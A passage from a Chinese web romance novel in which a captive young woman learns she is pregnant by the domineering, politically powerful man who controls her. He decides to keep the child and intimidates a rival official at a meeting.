“我是喜欢你,”他承认得毫不避讳,“但不代表,我就要为了你违背我的本性。” “我可以为你收敛脾性,可以纵容你可以顺着你,你想闹脾气、想撒娇都随你,这些我都能给你。但我改不了骨子里的劣性,也别奢望我心慈手软。” 陈知念的眼泪流得更凶了,耳边全是他残酷的话语,像无数根针在扎着她的神经。 “别说了!你别说了!!” 她用力推开他,双手死命捂住耳朵:“你滚出去!!滚出去!!我不想再听你说这些了!我不要听!!”—— 作者有话说:其实这里女主已经模糊地对男主有感情了,所以她才会想要寻求共存的办法 第80章 陈寅洛被她推得踉跄了一下,眼底的暴戾瞬间翻涌上来,他上前一步,一把攥住她的手腕,“你就非得要跟我吵是不是?你就不能安分一天?” 陈知念被他攥得手腕生疼,却还是倔强地瞪着他,胸口剧烈起伏着,连日来的彷徨和踌躇终于冲破了临界点。 “对,我和你这种人永远都说不通!” “算了,陈寅洛,真的算了。你想的和我想的,完全是两码事。你觉得天经地义的手段,在我看来简直……我们之间,隔着一条河,谁都过不去。” 极致的情绪冲击让她眼前一阵发黑,胃里翻江倒海。她猛地推开他,冲进浴室,趴在洗手台上剧烈地干呕起来,像要把五脏六腑都吐出来。 陈寅洛被她猛地推开,先是一愣,随即怒火更盛。他大步跟到浴室门口,看见她趴在洗手台前狼狈干呕的背影,到嘴边的斥责突然卡住了。 你……”他眉头紧锁,语气依旧生硬,但里面的火气已经褪去:“又闹什么?” “你进来干什么?出去!” 她强忍住恶心冲他发泄道,然而话音刚落,更剧烈的恶心感就翻涌上来,胃里一阵阵痉挛,吐出来的却只有酸水。眼前阵阵发黑,险些要顺着洗手台滑下去。 陈寅洛眼疾手快,上前一步,结实的手臂穿过她的腋下和膝弯,稍一用力便将人打横抱了起来。 “陈寅洛你放我下来!唔——”她一把捂住嘴巴,含糊道:“我还想吐,你让我下来……” 陈寅洛非但没松手,反而将她箍得更紧,大步流星地往卧室走。 “吐就吐,”他声音硬邦邦的,脚步却稳得没有一丝晃动,“我接着。” 他将人小心放进床褥,转身抄起角落的垃圾桶塞进她怀里。陈知念再也撑不住,抱着桶沿就是一 阵天旋地转的干呕,吐得眼角沁泪,浑身发软。 他温热的掌心在她背后一遍遍顺着,动作透着全然不符他性格的僵硬生涩。 待那阵翻江倒海的劲儿稍缓,陈知念虚脱地喘着气,才听见他压抑着情绪的问话,硬邦邦地砸下来:“怎么回事,吃了什么不该吃的?” 她扁了扁嘴,克制住哭腔,“你走开,不要你管。” 他伸手,不算温柔地抹去她眼角的泪,语气依旧生硬:“我不管你谁管?” 陈知念别过脸去,不想看他。可下一秒,又一阵恶心袭来,她赶紧俯身对着垃圾桶,却什么也吐不出来,只难受得浑身发抖。 陈寅洛看着她面色惨白的模样,心底那股无名火混着说不清的焦躁猛地窜起。他不再多问,直接站起身走到窗边,拿出手机拨通了电话。 不到十五分钟,别墅外就传来了汽车引擎声。医生提着急诊箱匆匆走进来,额上还带着细汗。 “她吐得厉害,”陈寅洛言简意赅,“看看怎么回事。” 医生连忙点头,放下急诊箱,从里面拿出听诊器和压舌板,走到床边,温声询问:“陈小姐,您别紧张,除了恶心呕吐,还有没有其他不舒服?比如头晕、身上没力气,或者肚子痛?” 陈知念靠在床头,背后垫着软枕,却还是觉得浑身发虚。 她垂着眼,努力回忆着这几天的不适,半天才哑着嗓子开口:“最近这几天……偶尔会恶心,特别是早上刚醒的时候,一睁眼就觉得胃里翻得慌。还有……”她顿了顿,“吃饭的时候,闻到鱼或者肉的腥味,也会忍不住想吐。” 周医生握着听诊器的手顿了顿,眉头微蹙。他行医多年,陈知念这晨起恶心、闻不得腥味的反应,几乎瞬间就让他联想到了某种最常见的可能。 他转过头对陈寅洛说:“陈先生,陈小姐这反应不太像普通的肠胃不适。我需要问几个问题,方便判断情况。” 陈寅洛没说话,只是用眼神示意他继续。 医生这才重新看向陈知念,“陈小姐,请您仔细回想一下,您这个月的月事……准时来了吗?或者说……距离上次来,已经过去多久了?” 这话一出口,卧室里瞬间静了下来。 这个问题如此突兀,又如此关键。 陈知念所有的动作都僵住了,连干呕的感觉都被迫停了下来。她难以置信地看向医生,怔了怔,而后缓缓移向站在床尾、面色阴沉得能滴出水来的陈寅洛。 她的手下意识摸向自己平坦的小腹。 医生收起工具,转向陈寅洛,语气谨慎道:“陈先生,陈小姐的症状……很像是早孕反应。我强烈建议,立刻用验孕棒确认,或者,我现在就安排抽血化验,结果最准确。” 陈寅洛站在床尾,原本阴沉的脸色瞬间凝固,黑眸死死盯着陈知念放在小腹上的手,喉结剧烈地滚动了一下。 早孕反应?这四个字像惊雷般在他脑海里炸开,让他一时间忘了反应。 他要有孩子了? 他的目光落在陈知念苍白的脸上,心底的焦躁瞬间被说不明的情绪取代。 他该有孩子吗? “验孕棒……”他的声音比平时低了许多,带着他自己都没察觉的飘忽,“先用验孕棒。” 话音刚落,一旁的医生便立刻开口:“陈先生,我急诊箱里备有验孕棒,现在就能用。” 说着,他弯腰打开放在脚边的急诊箱,从里面的密封袋里取出一支独立包装的验孕棒,又拿出一小包消毒湿巾,一起递到陈知念面前,语气温和:“陈小姐,您拿着这个去卫生间就好,说明书就在包装上,有不清楚的地方可以问我。” 陈知念的目光落在医生递来的验孕棒上,那小小的白色塑料棒仿佛有千斤重。最终,她还是缓缓接过,起身去了卫生间。 关门的瞬间,她靠在门板上,深吸了好几口气,却还是觉得心脏在胸腔里疯狂跳动,连手心都冒出了冷汗。她展开验孕棒的包装,看着上面的说明书,每一个字都认识,可连在一起却怎么都看不进去。 门外的客厅里,只剩下陈寅洛和医生。陈寅洛没有坐下,他就那么站着,望着卫生间的方向,点了一支烟,但只吸了一口,就任由它在指间静静燃烧,灰白的烟灰簌簌落下,一如他此刻晦暗不明的心绪。 时间一分一秒地过去。 当第一条红线先显现时,她的心已经提到了嗓子眼。紧接着,第二条浅红色的线缓缓浮现,越来越清晰,最终和第一条线并排而立。 陈知念的身体瞬间僵住,大脑一片空白,所有的声音和感知都被瞬间抽离。 “不……不可能……”她喃喃自语。 紧接着,一阵天旋地转的眩晕感袭来,双腿一软,她再也支撑不住自己的身体,顺着冰冷的瓷砖墙壁,缓缓滑倒在地。 眼泪无声地汹涌而出,她抬手死死捂住嘴,将所有的呜咽堵在喉咙里,只有肩膀在剧烈地颤抖。震惊、茫然、恐惧……无数种情绪像海啸般将她淹没,让她连一丝声音都发不出来。 门外,时间持续流逝。 陈寅洛站在客厅中央,指尖的第三支香烟已经燃到了尽头,烫得他指尖发麻,他才猛地回神,将烟蒂摁灭在烟灰缸里。 “陈知念?”他朝着卫生间的方向喊了一声。 没有回应。 医生也察觉到了不对劲,小声道:“陈先生,要不要……敲门问问?” 陈寅洛没说话,迅速迈开脚步,快步走到卫生间门口,大力敲着门板:“陈知念,说话。” 依旧是一片沉默。 他再也没了耐心,往后退了一步,抬起脚,狠狠踹在卫生间的门上——“砰”的一声巨响,门板应声而开,撞在墙上,发出刺耳的声响。 他一步跨入卫生间,视线迅速锁定在蜷缩在墙角的身影上。她蜷缩在墙角,后背贴着墙壁,脸埋在膝盖里,肩膀一抽一抽的,压抑的哭声断断续续传来。 而在她脚边,一支验孕棒静静躺在地上。 弯腰捡起地上的验孕棒,看着上面清晰的红线,黑眸里的情绪翻涌不定。 “医生,两条红线是什么意思?” “两条杠大概率就是怀孕了,不过需要确认的话,还是验血比较准确。” 他沉默了几秒,周身的气压低得骇人。突然,他弯腰,一手抄起瘫软在地的陈知念的腿弯,另一只手环过她的后背,将人打横抱了起来。动作带着不容置疑的强势,却又在将她拢入怀中时,下意识地收敛了力道,避免挤压到她的腹部。 “备车,去机场。”他抱着她大步往外走,声音冷硬,对愣在一旁的医生下令,“你跟着。” “陈寅洛……”陈知念轻轻挣扎。 他低头瞥了她一眼,眼神复杂得像暴风雨前的海面,暗流汹涌,最终却只是绷紧了下颌线,吐出两个字:“闭嘴。” 几个小时后,飞机在可托海机场降落。 舱门打开,停机坪上严阵以待的医护人员立即推着移动担架围拢上来。 车队迅速驶离机场,一路畅通无阻,最终驶入白塔城最顶级的私立医院。VIP通道早已清空,电梯直达顶层专属病房区。 超声探头在腹部缓缓移动,仪器屏幕上开始出现模糊的黑白图像。 老教授专注地调整着角度,房间内只剩下仪器运作的轻微嗡鸣。 突然,老教授的动作停顿了一下,他凑近屏幕,仔细辨认着。 片刻后,他确认道:“陈先生,确认是宫内早孕,根据孕囊大小推算,大约五周。” 陈寅洛的身影几不可察地晃动了一下。 他向前迈了一步,走到检查床边,目光深深地看着屏幕上那个尚不起眼的小小孕囊,喉结剧烈地滚动。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 第81章 陈寅洛没有开主灯,只有书桌上一盏复古台灯晕开一小片昏黄的光域,将他挺拔的身影投在身后的书架上,拉得很长。 他深陷在座椅中,维持这个姿势已经很久。面前的烟灰缸里堆满了烟蒂,空气中弥漫着散不开的尼古丁味。 孩子。 他要有孩子了。 一个与他血脉相连的生命正在陈知念腹中悄然孕育。 陈寅洛深深吸了一口烟,辛辣的烟雾滚过喉咙,却压不下心底那股莫名翻涌的寒意。他拿着烟的手停在半空,指尖轻微地抖了一下。 恐惧。 他竟然会觉得恐惧。 这种情绪在他的世界里,太罕见了。 可现在,这种陌生的战栗感,正沿着他的脊椎缓慢爬升。 会喜欢上一个人,已经是他人生里最大的意外,可现在,这个意外竟衍生出了最不控的因素。 他要有孩子了。 一个流着他和她血液的孩子。 【他该有孩子吗?他这种人真的有必要要一个孩子吗?】 这个疑问,像毒蛇一样啃噬着他。 都是他的疏忽。 是他太过自信,太过沉迷于占有她的过程,竟然忽略了最基本的防护措施。这种低级的错误,发生在他身上,简直不可饶恕。 他陷在座椅里,像一头被无形枷锁困住的野兽,惯常的暴戾无处发泄,只能向内侵蚀自身。 他这样的人,一个从实验室的数据库和禁区的尸山血海里爬出来的怪物,情感系统天生残缺,连喜欢这种情绪都需要靠强取豪夺来确认其存在。他的人生本该是一条笔直而黑暗的轨道,掠夺,掌控,然后走向孤独。 可现在,这条轨道上被强行塞入了一个岔路口。 它太小,太脆弱,与他所熟知的那个弱肉强食的世界格格不入。 它会哭,会笑,会需要保护,会……依赖。 他几乎能预见,这个孩子一旦降生,所有潜在的敌人,都会像嗅到血腥味的鲨鱼一样扑上来。用孩子要挟他,用孩子伤害陈知念,那些阴暗的手段,他比谁都清楚。 可这是他冰冷荒芜的世界里,突然长出的一株嫩芽,脆弱,却带着不可思议的生命力。 窗外,夜色开始缓慢地褪去,天际透出微光。 陈寅洛停下脚步,回到书桌前,双手撑在桌面上,低垂着头。长时间的僵坐和思考让他肩背僵硬,但眼神却在这一刻沉淀下来,混乱和挣扎被深不见底的决心所取代。 他深吸了一口气,空气中浓重的烟味让他皱了下眉。 ——他得把烟戒了。 他走到窗边,猛地拉开厚重的窗帘。晨曦刺破云层,将金色的光芒洒满房间,也照亮了他眼底的血丝和那份不容动摇的坚定。 麻烦,软肋,未知的挑战……这些都不重要了。 这个意外,他留下了。 —— 陈寅洛换下了那身带着浓重烟味的衬衫,径直离开了书房。他不需要整理思绪,因为所有的犹豫都已在这个漫长的夜晚里被焚烧殆尽。 医院顶层的专属病房,陈知念已经醒了,或者说,她一夜未眠。 此刻她正靠在床头,望着窗外,侧脸在晨光中显得异常苍白脆弱。听到门响,她身体肉眼可见地绷紧了一下,却没有回头。 陈寅洛走到床边,高大的身影带来无形的压迫感。他没有立刻说话,目光沉静地落在她身上,从她微乱的发丝,到她交叠在薄被上、微微蜷起的手指,最后,视线在她平坦的小腹处短暂地停留了一瞬。 “让医生过来。”他对一直守候在门外的雷子说。 雷子应声离开,不过两分钟,就领着穿着白大褂的林院长走进病房。林院长是白塔城妇产科领域的权威,也是陈寅洛特意指定的医生,手里拿着刚整理好的检查报告,脸上带着温和的笑意。 陈寅洛侧身让开位置,目光落在林院长手中的报告上,“她和孩子的情况,具体怎么样?需要注意什么,你详细说。” 林院长先走到床边,给陈知念量了量血压,又轻声询问了几句晨起的反应,才转向陈寅洛,递过检查报告:“陈先生,您先看这个超声报告——胎儿目前五到六周左右,胎心搏动很规律,孕囊位置也很正常,没有出血或先兆流产的迹象,整体状况非常好。” 陈寅洛接过报告,目光快速扫过上面的文字和超声图像,虽然大多专业术语他看不懂,但“胎心搏动正常”“未见异常”几个字还是清晰地落在眼底,紧绷的下颌线微微柔和了些。 “还有什么需要注意的?” “首先是饮食,陈小姐现在有早孕反应,闻不得腥味、吃不下东西是正常的,但必须保证基本营养摄入,比如蛋白质和叶酸。可以多吃点清蒸鱼、鸡蛋羹这类清淡好消化的,叶酸片我会开处方,每天固定时间吃一片,能预防胎儿神经管畸形。” 她顿了顿,又看向陈知念:“其次是休息,孕早期容易疲劳,一定要保证充足睡眠,尽量别熬夜,也别做重活,情绪波动也得控制,太激动或太焦虑,都可能影响胎儿稳定。” 陈寅洛看向陈知念,她依旧偏头望着窗外,侧脸线条紧绷,带着无声的抗拒和疏离。 他移开视线:“医院这边,还需要住多久?” 林院长笑了笑:“陈先生,其实现在就可以出院回家了。” 见陈寅洛眼神微顿,她连忙解释,“您别担心,陈小姐和胎儿目前状况都很稳定,回家休养更利于情绪放松,只要每周过来做一次常规检查,有任何不适随时联系我,就不会有问题。” “知道了。”他说,“现在安排出院。” “好的,陈先生。” 病房里再次只剩下他们两人。 陈寅洛这才将目光完全落在陈知念身上。他上前一步,无视她细微的挣扎,弯腰,手臂稳稳地穿过她的腿弯和后背,轻松地将她打横抱起。 身体骤然悬空,熟悉的被掌控感让陈知念心底一慌,那些被囚禁在禁区的晦暗记忆瞬间翻涌上来。 “我不要回去!我不要回那个鬼地方!!我讨厌那里!” 她在他怀里挣扎起来,声音里带着难以抑制的惊惧和厌恶。 陈寅洛的手臂如铁箍般稳固,抱着她的力道不容挣脱,却又小心地避开了她的小腹。他低头看她一眼,对上她惊惶泛红的眼眶,眉头极轻地蹙了一下。 “不回禁区,以后我陪你在白塔城住。” 陈知念的挣扎停顿了,她抬起泪眼,有些难以置信地看着他。 他愿意让她住在白塔城?以后真的可以不回禁区吗? “那我……能见见我爸爸妈妈吗?”她试探问。 “可以。”他回答得毫不犹豫,“等你情况稳定,我会安排你们见面。” 她静了一瞬,忽然抬起头,目光直直地望进他幽暗的眼睛。 “陈寅洛,”她问,“你真的……期待这个孩子吗?” 陈寅洛的脚步一顿。 他低头看着她,没有立刻回答。 沉默的时间有点长。 就在她以为不会得到答案,或者会得到一个冷酷的否认时,他开口了。 “嗯。” 一个字,又沉又哑,甚至没有任何多余的语气助词。 然后两个人都再没有说话。严彬已经将车开到了停车场,陈寅洛弯腰将陈知念放进了后座,随后自己坐了进去。 车厢里弥漫着沉默,孩子的到来并未给这个空间带来丝毫暖意,因为在知晓怀孕之前的对话里,两人之间就已经决裂了。 两条背道而驰的轨道,即便被命运强行捆绑,也终究朝着不同的方向延伸。 这是必然的局面。 下车的时候,陈知念愣住了。这里她太熟悉了,距离她家不到一公里。 几乎是瞬间,从前在家里的温馨画面就清晰浮现在眼前。她定住脚步,目光望着那个熟悉的路口,家近在咫尺,却仿佛隔着天堑。 陈寅洛没有给她太多感伤的时间,握住她的手腕将人带进别墅。早已等候在玄关的医护团队立刻迎了上来。 “陈小姐,我们先做个基础检查。”为首的医生道。 她被扶到客厅沙发上,血压仪的袖带缠上手臂,听诊器贴上胸口。 营养师站在一旁,捧着详细的饮食计划同陈知念讲,确认她有没有过敏的食物或者不喜欢吃的。 陈知念的目光循着陈寅洛,他正站在落地窗前打电话,一贯的冷硬漠然。 检查结束后,阿姨端来一碗温热的鸡汤,小心地放在她面前:“陈小姐,先喝点汤暖暖胃。” 陈知念拿起汤匙,却一口都吃不下。 她感觉自己像被抛入了一场毫无准备的洪流,而腹中悄然萌发的生命,就是那朵最湍急的浪花。她从未想过,更 谈不上准备——准备去成为一个母亲,尤其是一个与她千方百计想要逃离的男人共同孕育生命的母亲。 陈寅洛结束通话走过来,看了眼几乎没动的汤碗,眉头微蹙:“不合胃口?” 陈知念放下汤匙,“我要见爸爸妈妈,你说过可以的。” “可以。”他很爽快,“但不是现在。” “那是什么时候?” “等你情况稳定,你现在需要休息。” 陈知念沉默下来,陈寅洛看她没什么事就准备起身出门,他今天还有很多的安排,时间已经快要来不及了。 就在他转身欲走的时候,她又问:“明天我可以去学校了吗?” “不行。” 陈寅洛根本就不需要思考,脱口而出。怀着孩子上什么学,就算他再不懂,也知道孕妇是个保护动物,学校里磕磕碰碰的,出点事怎么办。 可这句话显然触及到陈知念岌岌可危的情绪,她一把推开面前的汤碗,碗顺着桌子滚下,砸落在地。 “陈寅洛,你答应过我的!你又要反悔了吗?我不去学校,每天在这里做什么?像个被圈养的摆设,吃饭、睡觉、做检查——然后呢?就等着把孩子生下来,让他也变成这座牢笼里的另一个犯人吗?” 第82章 陈寅洛沉着眼,视线从她脸上移到地上碎裂的汤碗,又转回她那双隐着明显怒意的眼眸。 他算是发现了,现在这家伙跟自己发火是越来越熟练,越来越没有自觉了。 之前那个胆小如鼠的陈知念去哪了?现在的她简直就是一个火药桶,一点就炸。 可到了舌尖的斥责转瞬又咽下了,他骤然想起医生的叮嘱,孕妇保持良好的心情很重要,对胎儿好,对产妇也好,心情好了,或许早孕反应,孕期不适都能缓解。 “可以。” 陈知念倏地睁大了眼睛,她根本就不抱希望陈寅洛会同意她继续去学校,以他的性格和行事作风,说不定会把自己关到生产后为止。 “但是你必须跟我保证,在学校不能参加任何体力运动,放完学就乖乖回来,不要想些有的没的。” 这确实不算是过分的要求,甚至称得上是正常的提议。 陈知念没有犹豫:“我保证。” “嗯。”陈寅洛淡淡应了声,随即带着严彬出了门。 制造压迫的源头离去,陈知念放松了很多,精神一松懈下来,就觉得疲倦如潮水袭来。 佣人看出她的困意,上前道:“陈小姐,我带您去房间休息吧?” “好的,谢谢。” 陈知念随着她上楼来到主卧,主卧里铺着新换的床单,新风系统24小时循环,房间的温度不冷不热,很是适宜。 她侧躺在柔软的被子里,很快就沉沉睡去。 —— 车厢内。 严彬从后视镜看向陈寅洛:“洛哥,今天林小姐打了好几通电话来,说是想和您商量一下订婚的事宜。” 陈寅洛这才想起,林曼薇给他私人手机打过电话,但他拒接了。 不过是一场政治联姻,他妈的摆出一副要和他谈一场恋爱的架势。一天到晚闲得慌,动不动就电话骚扰。 这时手机震动响起,陈寅洛不耐烦地掏出来,又是林曼薇。 他接起:“有事说事。” 林曼薇怔了一秒,未婚夫如此冷淡她也不好受,从小到大她过的就是众星捧月的日子,追求她的人也不少,可她一个也看不上,偏偏就对陈寅洛着了迷。 她捏紧手机:“寅洛,爸爸刚才来电话,提醒说订婚宴只剩一个月了。你看……我们是不是该抽空商量下具体流程了?” 她特意抬出了父亲林弘,就是想借这层关系,压一压陈寅洛的疏离态度。 上次约陈寅洛去看音乐会,他没有任何解释就失约。之后见过的几面,他也总是一副心不在焉、行程匆匆的模样,连多和她说两句话的耐心都欠奉。 要不是父亲再三保证,说查过陈寅洛的底,他身边干净得连个长期女伴都没有,她几乎要断定,这个男人答应联姻,根本不是为了她林曼薇,纯粹是看中了林家这条能让他平步青云的捷径。 陈寅洛冷淡的声音通过电话传来:“你自己看着办就行,我没意见。” 委屈骤然涌上心头,林曼薇恍惚觉得难道结婚只是她一个人的事?他从来都不管不问,甚至拒绝沟通。 “可是……有些细节总得我们俩一起拿主意呀。比如宾客名单、礼服款式,还有……” 陈寅洛打断:“林小姐。” 林曼薇倏然停下,他总是这样,从来不叫她的名字,只礼貌地称她林小姐。 “我想,你应该也明白,我对你没意思。” 直白的话就这样毫无征兆地砸来,林曼薇屏住了呼吸,艰难掩下心里浮起的酸涩。她努力替他辩解:“我知道,我们根本就没怎么相处过,没感情很正常。但是感情不都是慢慢培养的么,我相信……” “你错了。” 根本不在意这话会如何刺伤电话另一端的人,陈寅洛接着说:“不管相处十年还是二十年,结不结婚,我都是这个样子,以后也不可能改变。” 他忽然又想起了什么:“对了,即便婚后,也是各过各的,你别指望什么夫妻同居。” “如果林小姐后悔了,现在退婚还来得及。” 说完,他径直挂断了电话。 严彬默默听完全程,没忍住问:“洛哥,林小姐毕竟是林政委的掌上明珠。您把话说得这么绝,一点面子不留,林政委那边……怕是不好交代。” 陈寅洛指尖碾动着,烟瘾犯了。但尼古丁对胎儿不好,晚上还要回家,带着一身的烟味回去,不合适。 “他不敢,许政委的事只要漏出一点风声,林弘的政治生命当场就得终结。他现在最怕的,就是我把这件事摊到桌面上。” 他看向窗外,正好有一个小超市在路边。 “停车。” 严彬踩下刹车,回头:“怎么了,洛哥。” 陈寅洛抬了抬下巴,“去,给我买点口香糖。”顿了顿,他又说:“多买点。” 严彬没耽搁,当即解下安全带下了车。洛哥突然要口香糖是有点反常,但他只管执行就好。 回来的时候,严彬手里提了一大袋口香糖,五颜六色,各种口味应有尽有。 陈寅洛随手拆了一个薄荷味的,丢了两颗进嘴里,勉强压下了牙根渴望尼古丁的痒意。 车辆缓缓驶入安全委员会的大门,经过严格的身份核验后,停在主楼前。 陈寅洛嚼着口香糖下了车,严彬拎着文件袋跟在后面,低声提醒:“洛哥,许派那几位委员已经到了,刚才秘书处说,他们带了不少项目的问题材料,还特意请了审计处的人过来,看样子是准备在会上把事情闹大。” 他今天要参加的是关于新城港项目的安全会议。此次会议的微妙之处在于,项目的主要质疑方,是已故许政委那一派系的几位委员。许政委那次意外车祸后,最大的受益者林弘安然无恙,他们抓不到任何把柄,但始终秉承着怀疑的态度。无法直接对林弘出击,只能各种挑刺找茬,暗中报复。 “闹大就闹大。”陈寅洛脚步没停:“许政委走了,他们抓不到林弘的把柄,只能拿项目撒气,小杂鱼罢了。” 大不了就是一枪一个,他也不是很在意解决问题是方式,是靠武力还是脑力。 总之有用就行。 走入会议 室,这些许政委的旧部像是约好了般,在他落座后便接连发难。 “陈委员,恕我直言。新城港是东南沿海的战略咽喉,将其运营权交由‘振坤集团’这类背景复杂的民营资本绝对控股,我认为存在不可估量的安全风险。一旦出现运营问题,甚至……被境外势力渗透利用,这个责任,谁来承担?” 振坤集团是陈寅洛名下的一个白手套集团,一旦拿下新城港的运营权,相当于为振坤集团打通了“海陆空”全链路。而且这个港口还具有重要的经济战略意义,不可谓不重要。 陈寅洛笑了笑,“李委员的担忧不无道理。” 再多余的话,他就没再往下说了。就在李委员准备接着发难的时候,身上的手机毫无预兆的响起了。 一时间整个会议室的人都朝他看去,他面色尴尬,自己竟然会忘了调至静音。他按下了挂断键,就听到陈寅洛开口了。 “李政委怎么不接?万一是家里有什么急事呢?” 他的目光太过直白,李政委心里咯噔一下,急忙拿起手机回拨了过去。 电话那头传来妻子带着哭腔的声音:“老李,刚才税务局的人来家里了,说要查我们近五年的账……” 他猛地抬头看向陈寅洛,对方正悠闲地把玩着一支钢笔,嘴角还噙着一丝若有似无的笑意。 “……还说接到实名举报,要冻结我们的账户。还有,啊玮他……我也联系不上了。” 冷汗顺着李委员的额角滑落。 挂断电话,陈寅洛闲适地看向他:“李委员,家里……没什么大事吧?” 李委员嘴唇哆嗦着,勉强挤出一个比哭还难看的笑容:“没、没事……谢谢陈委员关心。” “没事就好。”陈寅洛点点头,“不知道李政委对于新城港项目还有别的想法吗?一并提出来好了。” 李政委低着头,“没……没有了。陈委员考虑周全,我……完全赞同。” 会议结束后,陈寅洛靠进椅背,揉了揉眉心。他下意识地去摸烟盒,指尖刚触到,又收了回来。 烦躁地咂了下嘴,他拿起手机,打算看看今天的财经简报转移注意力。指尖快速划过屏幕,一则不起眼的推送新闻标题却让他滑动的手指停了下来—— 《白塔城新生儿出生率持续走低,专家呼吁关注孕期心理健康》 鬼使神差地,他点开了这条新闻。快速浏览完那篇无关痛痒的官样文章后,页面底部的算法推荐栏里,赫然出现了几个新的链接标题: 《准爸爸必读:孕期妻子情绪波动,丈夫该如何应对?》 《新手父母指南:0-1岁宝宝护理要点》 手指悬在《准爸爸必读》上方片刻,最终还是点了进去。 页面加载出来,是些色彩柔和、配着卡通插图的文章。标题写着“如何理解孕早期的情绪波动”、“准妈妈最需要的十种支持”…… 陈寅洛的眉头越皱越紧。这些文字在他眼里显得格外幼稚又啰嗦,通篇都是耐心、陪伴、理解之类在他看来毫无实际用处的词语。 “废话。”他低声嗤了一句,手指快速滑动,目光挑剔地扫过那些段落。 直到某一行的加粗小标题映入眼帘: “警惕:孕妇长期情绪压抑,可能影响胎儿发育。” 他的手指顿住了。 视线停留片刻,他坐直了身子,逐字逐句地浏览着页面。 当他看到“长期精神压力可能导致早产或婴儿低体重”时,下颌线不自觉地绷紧了。 他退出这篇文章,返回那个推荐列表,毫不犹豫地点开了旁边那个《新手父母指南:0-1岁宝宝护理要点》。 这一次,他看得更慢了。如何冲泡奶粉、如何拍嗝、如何应对新生儿黄疸,甚至还有如何正确抱婴儿的图示。 陈寅洛盯着那张示意图,眉头紧锁,下意识地对照了一下自己的手臂,像在评估这种柔软脆弱的生命体该如何下手。 严彬推门进来:“洛哥,接下来……” 他的话卡在了喉咙里。 他看见自家洛哥正襟危坐在办公桌后,眉头紧锁,表情是前所未有的严肃,而手机屏幕上……赫然是一个抱着婴儿的卡通教学图片。 严彬瞬间石化。 陈寅洛闻声抬头,眼神里的专注尚未褪去,与严彬震惊的目光撞个正着。 一瞬间,冰冷的杀气弥漫了整个办公室。 严彬头皮发麻,以最快的速度后退、关门、消失,动作一气呵成,仿佛从未出现过。 看完了推荐的文章,陈寅洛坐在宽大的办公椅上垂眸思索了许久。 他真的能做一个合格的父亲吗?—— 作者有话说:嗯,大概率是开始收尾了。[彩虹屁] 专栏预收文:越轨[禁忌] 嫁给大她二十岁的商业巨擎,所有人都认定,安澜是看上了他的钱。 包括那个只比她小三岁的继子,谢聿琛。 留学归来的接风宴上,男人举杯,当众向她致敬,语带讥诮:“二位真是郎才女貌,一个图财,一个图色,天生一对。” 后来,丈夫突发心梗,溘然长逝。 灵堂之上,安澜哭得泪如雨下。 谢聿琛立于她身前,语气冰冷得不带半点哀戚:“戏演够了?可惜,你的金主看不到了。” 安澜骤然抬眸,乌黑的眼底盈满屈辱。 所有人都不相信,她是真的爱她的丈夫。 * 安澜知道,什么狗屁心梗都是骗人的,她的丈夫没有心脏方面的疾病。 她将目光投向锋曜新任的年轻董事长——谢聿琛。 只有他,有这个动机。 * 安澜斗不过他,他没有留下任何证据和线索。 她决意离开,重新开始新生活。 然而,离开前的暴雨夜。 谢聿琛将她堵在空无一人的老宅,沾染了威士忌的气息向她逼近: “他死了,他的一切都是我的。” “——包括你。” 第83章 “今天她都吃了些什么?” 陈寅洛倚靠在沙发,嘴里嚼着口香糖。 这是他这段时间以来,每晚回家的必问项目。营养师没有停顿,流畅地开始汇报,“陈小姐早餐用了半碗燕窝鸡蛋羹,一杯温鲜奶。” “中午送去学校的是清蒸东星斑腩,配了半碗米饭和清炒芦笋,还有两块枣泥核桃糕。” “晚餐是花胶鸡汤,只喝了汤,鸡丝和花胶动得不多。另配了白灼芥蓝和一小份南瓜粥。” 陈寅洛静静听着,直到营养师话音落下,他才“嗯”了一声,“下去吧。” 紧接着医生开始汇报:“陈小姐今日体征平稳。血压、体温均在正常范围内。” “不过,陈小姐近两日的静息心率略有偏高,夜间睡眠监测显示浅睡眠时段有所增加。结合行为观察,她日间的沉默时间较长,我们认为这可能与情绪压力有关。孕期情绪波动对胎儿发育的影响,需要持续关注。” 情绪压力?都已经让她去上学了,还能有什么压力? 真是难伺候。 陈寅洛摆了摆手,医生就知趣地离开了。 上了楼,二楼书房的灯还亮着,将门打开些许,能看到匍匐在书桌前的一颗毛茸茸的小脑袋。 桌子上摊着好几本书,还有一张试卷,而她正全神贯注地跟题目做斗争,根本没有注意陈寅洛站在门口看自己。 “几点了还不准备睡觉?打算写到什么时候?” 突兀的声音自头顶响起,陈知念捏住笔尖的手指一颤。 自从陈寅洛答应她重返学校后,两人之间的关系缓和不少,大多数时候都能够平静度过。而他这段时间也一直很忙,经常是她已经睡熟了,半夜忽然被拥入一个滚烫的怀抱,才知道他回来了。 他通常不说话,只是将下颌抵在她发顶,手臂环过她的腰腹,而她则在半梦半醒的朦胧与清醒的僵持之间,最终被那体温同化,再度沉入睡眠。 而早上起床的时候,身边已没了人影。即使他偶尔在家用早餐,两人也只是简短交流,他停留不了多久,而她也要匆匆去学校。 今天他居然回来的这么早。 陈知念放下笔,不着痕迹地用试卷挡住其中一本书,那是她报考洛桑威尔的资料。如果被陈寅洛发现,后果不堪设想。 “还有两页,做完就准备睡觉了。” 他随手翻了下摊开的习题册,上面物理题简单的要命。就这么几道 题,也要琢磨这么久? 陈知念的心随着他的指尖提到了嗓子眼,他该不会发现了什么吧? “拼成这样,命都不要了?哪个大学这么金贵,值得你点灯熬油地供着?” 她的心砰砰跳,努力稳住声音道:“星曜学府。” 这是她早就准备好的答案,也是她之前一直希望达成的目标。然而,这个曾经的梦想学府,如今已被她彻底放弃。星曜再好,也仍在陈寅洛的势力范围内。她必须走得更远,远到他的手伸不到的地方——比如,大洋彼岸的洛桑威尔。 陈寅洛没兴趣再翻,他按灭台灯,命令道:“现在去睡觉。” 她不敢再多言,甚至不敢去收拾桌面上那些可能暴露秘密的资料,只是低低应了一声:“……好。” 她站起身,尽量让自己的动作显得自然,绕过书桌,从他身侧走过。 走到书房门口,她犹豫了一下又回过身来:“你不走吗?” 陈寅洛站在书桌前,指尖还放在那叠书上,抬眸向她看来。 陈知念浑身的血液都要僵住了,她害怕她一离开,他就会翻看桌上的书籍,那么就必定会看到洛桑威尔的报考指南。 好在下一瞬陈寅洛就跨步走了过来,她悬到喉咙的心猛地坠回原处,背后惊出一层冷汗。 “要我陪你睡?”他握住她手腕。 陈知念睫毛惊慌地颤动了几下,垂下眼,轻轻地“嗯”了一声,然后就听到他极轻地笑了下,“行。” 